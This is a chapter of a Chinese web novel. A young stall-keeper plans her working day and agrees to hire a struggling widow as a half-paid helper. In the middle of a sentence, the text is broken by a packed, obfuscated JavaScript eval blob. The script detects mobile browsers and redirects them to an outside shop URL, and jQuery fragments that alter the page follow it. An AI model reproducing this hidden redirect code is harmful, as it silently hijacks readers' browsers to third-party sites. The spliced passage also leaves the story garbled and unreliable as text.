今天,仍然是窦岁安来接她。
栗小满早已忘了昨日的小别扭,欢快地跟窦岁安说着自己的各种小发现和想法。
她说起自己想吃的发糕,便着重描述发糕的口感。
她说起摊子后面的地方不够宽敞,让客人坐得不舒服时,就轻轻蹙起眉头。
她说起又有了新的订单时,一边乐呵起来,一边还说要窦岁安也记得这件事,等到回去后要立马告诉窦华这个好消息。
她说起还剩了些东西,她生出想养只猪的想法时,又自说自话地补充了后面的话。
“还是养只泔水桶吧!多少也算个意外收入。”
“……嗯。”
得以插嘴的窦岁安终于说了二人见面以后的第一句话,第一个字。
原本,他想就栗小满中午送饭时的沉默展开说说的,虽然具体要说什么,他还没想到,但因为那份不同于往日的沉默,他本能地感到心慌,于是便想要做什么、说什么,至于要达到什么目的?
窦岁安偏头,瞧见了栗小满生动的眉眼。
或许已经不用了。
等到了家,栗小满口述的一份商业计划新鲜出炉。
当着窦家母子的面,她大声地说了自己的计划。
“早晨,我要去买最新鲜的菜,顺道打听今日有无什么新鲜事,避免影响摆摊。”
“上午,除了做摊子上卖的东西,还要做各种订单上需要的东西,两边要区分开。”
“中午送饭,吃饭。”
“下午,去明桥摆摊。”
“晚上回来,复盘今日内容,继续努力,做大做强,再创辉煌!”
栗小满两手摊开,声音越发响亮。
计划结束,窦华自发鼓起掌。
“但是小满啊……”
她又道:“你这样好累的。”
嗯嗯嗯。
栗小满点点头,她也这样觉得。
但家里也没人能帮她,她每天要做那么多的确很忙很累,但窦华要比她起得更早来做豆腐,要在铺子里卖豆腐和豆花,要进行豆子的采购,豆渣的处理等工作。
窦岁安呢,就忙得有过之而无不及了,他每天除了自己在衙门的工作外,还要早起帮着做豆腐,推车到铺子里,帮忙开摊,中午吃过饭,洗碗也是他的活,忙了一下午后,不仅要回到铺子里关店,还要跑到明桥去接她。
至于晚上回到家里来,有时候栗小满跟窦华聊嗨了,晚饭的活也是窦岁安的。
天呐。
这什么高精力人群!
窦岁安整日闷头不吭声,脸上还没什么表情,给人一种淡淡的死装感,栗小满压根看不出来他累不累,平时看着还觉得他挺自在挺轻松呢。
要不是她经过这么一盘,都没发现窦岁安一天天要做那么多事。
“婶娘,我都想好啦,我打算过些日子雇个人帮忙,这些天的话只是刚刚摆摊,生意也不太稳定,还得再盘算盘算才能计划这件事。”
栗小满也没将问题抛给窦华,她自己就主动地说出了解决方案。
她需要干的活大多比较琐碎,还涉及到体力活,基本不太存在技术性的内容,就连所谓的新鲜吃食豆花或奶茶,有心人稍微琢磨两下就能参透,没有配方可言,压根用不着她严防死守的。
所以雇人帮忙这件事里,除了对方会不会认真干活这件事需要考虑外,基本是不存在顾虑的。
窦华的意思,其实也是想找人帮忙。
她想的还多一些,她想着要不要到牙婆那儿看看……这样的想法在看到栗小满时,瞬间烟消云散。
窦华知道,只要栗小满和她的身契在这个家中一日,家里就不能提及任何关于奴隶的事。
这是她的态度,是对栗小满的尊重,更是无法说出口的歉意。
这个想法在脑中转了一圈便渐渐消散,窦华转而想到了其他主意。
“咱们巷子里有户人家挺合适,她家就两个人,一个死了男人的妇人,一个七岁小孩。”
凭借着几十年的阅历,窦华对周围的大事小事如数家珍,几乎只是刚起了个念头,她脑中就自动匹配上了人。
“那个妇人叫阿庆,她女儿叫小花菇,自她家男人没了后,她一个女人家带着孩子,日子过得很是艰难。”
“平日里,她就靠给人家缝洗衣服过活,别瞧她瘦弱,其实身上是有一把子力气的,就是不怎么说话,跟人打交道的活不太适合。”
“说起她,是因为摆摊在下午,她只需要下午过来,上午的时间她仍然可以做自己接的活,所以只要咱们这边供她们母女俩两顿饭,她应该会愿意来帮忙。”
平日里除了给人缝补、清洗衣物,阿庆也没什么事儿干,只能来回倒腾她家门口那块小菜地,恨不得晚上都睡在菜地边上。
原因无它,一是她没有其它能做的事,二是家里的小菜地是她唯一能获得蔬菜的来源,她家中是真的字面意义上揭不开锅了。
栗小满听罢,微微拧着眉问:“若不给银钱,她们的日子该怎么过?”
眼下寒冬将至,一年来原本就没好好吃些食物补充营养,再遇到这样的天气,家里没厚衣没柴火的,吃也只有素的没有荤的,这日子怎么熬得下去?
窦华没多意外栗小满的反应,听到了她的话,她才将自己的真实想法道出:“刚开始摆摊,或许不太稳定,你有雇人的疑虑很正常,但什么时候才算是稳定呢,你刚养好了些的小身板又能熬多久呢?”
“婶娘的意思是,这几天就雇人吧,来人也不必做多少,只需要在午时来帮忙抬抬重物、推车到明桥去,在摊位上打打下手,做做杂活就行。”
“这点活不算多,正经请人咱们还算亏了呢,请阿庆就将将好,她能多出时间接活,她有力气搬重物,她虽暂时做不到接待顾客,但在旁边洗洗碗、擦擦桌子还是可以的。”
“给她市场价一半左右的钱,再包她两顿饭,来干活的时候可以带小花菇一起,这样就没什么问题了。”
窦华逐条分析完,看向栗小满:“你觉得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129659|196206||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怎么样?”
“我觉得非常好!”
栗小满看出窦华是为了帮那母女二人了,但窦华也没做任何有损她利益的事,没有因为外人就委屈她,在这件事上,她反而是得利的。
能只花半价就请到帮手,来人还在各方面符合她的需求,还能帮到人,几乎找不到任何不合适的地方。
“婶娘,阿庆嫂住得远吗,这会儿也还没到睡觉的点,我们现在去找她可以吗?”
栗小满也不是非得那么急,但窦家三个人里,是一个白天有空闲的人都找不出来,她的时间看似灵活,实际上都卡着点的,在路上多拐一个弯都有可能耽误任何一件事。
窦华守着铺子就更不好离开了。
所以还真得现在就过去,早点说好,早点有人帮忙,也早点能帮到阿庆嫂母女嘛。
窦华起身,笑容满面,“可以啊,再可以不过了,她住的不算远,比你老牛叔家还近些,事不宜迟,咱们走吧。”
“好嘞!”
说罢,二人风风火火离开,出门前,栗小满还歪过头朝窦岁安喊了句:“辛苦刷碗。”
“嗯。”
窦岁安的回复栗小满没能听到,她已经挽上窦华的胳膊一蹦一跳往外走了。
阿庆嫂家的确比老牛叔家近一些,但是是完全相反的两个方向,栗小满也是实在忙得没空到处转悠,这会儿有了窦华的带领,她抽空也往周围看了看。
只是天已经黑透,能看到的不多。
可以看出这边的屋舍在早期建造时就是专门做的三房一院户型,不管是早早在奉县做生意乃至现在开铺子的窦华,还是有一门好手艺家中有些资产的老牛叔一家,还是如今生活困苦只余孤儿寡母的阿庆嫂母女,大家的房型都是这样的,这在奉县已经算条件不错的人家。
不管近况如何,只要是能在这五里巷有套房的人家,早期肯定是条件不错或是有点身份地位的。
据窦华解释,阿庆嫂的男人是个船工,平日就因为工作忙得经常不着家,他因为识字懂礼,在船上做的还是管事的活,因此早些年间阿庆嫂家里情况还是挺不错的。
若一直这样下去,小花菇不仅不会是现在瘦瘦小小、一年到头连顿肉都吃不上的可怜样子,还有可能在家里的支持下去上学堂,今后做个掌柜也不为过。
但世事无常,阿庆嫂的男人出门在外,还是飘在深渊似的大海上,只要遇到过一次事故,就几乎没有生还的可能。他就这么不幸地遇到了事故,只因一次突然的海难,他连同一整艘船,以及船上的所有人和货物都消失在了海面上,尸骨无存。
阿庆嫂连个收敛尸骸的机会都没有。
这完全相反的命运是真实存在的,而一切也只是因为家里少了个当家的人。
窦华还说,阿庆嫂不是没有想过自己支棱起来赚钱养家的。
可她一个早早没了娘家的妇道人家,不识字,手里没技艺,还有些怕生,除了邻居因为可怜她特意给她找的缝洗活,她实在是找不到别的谋生法子。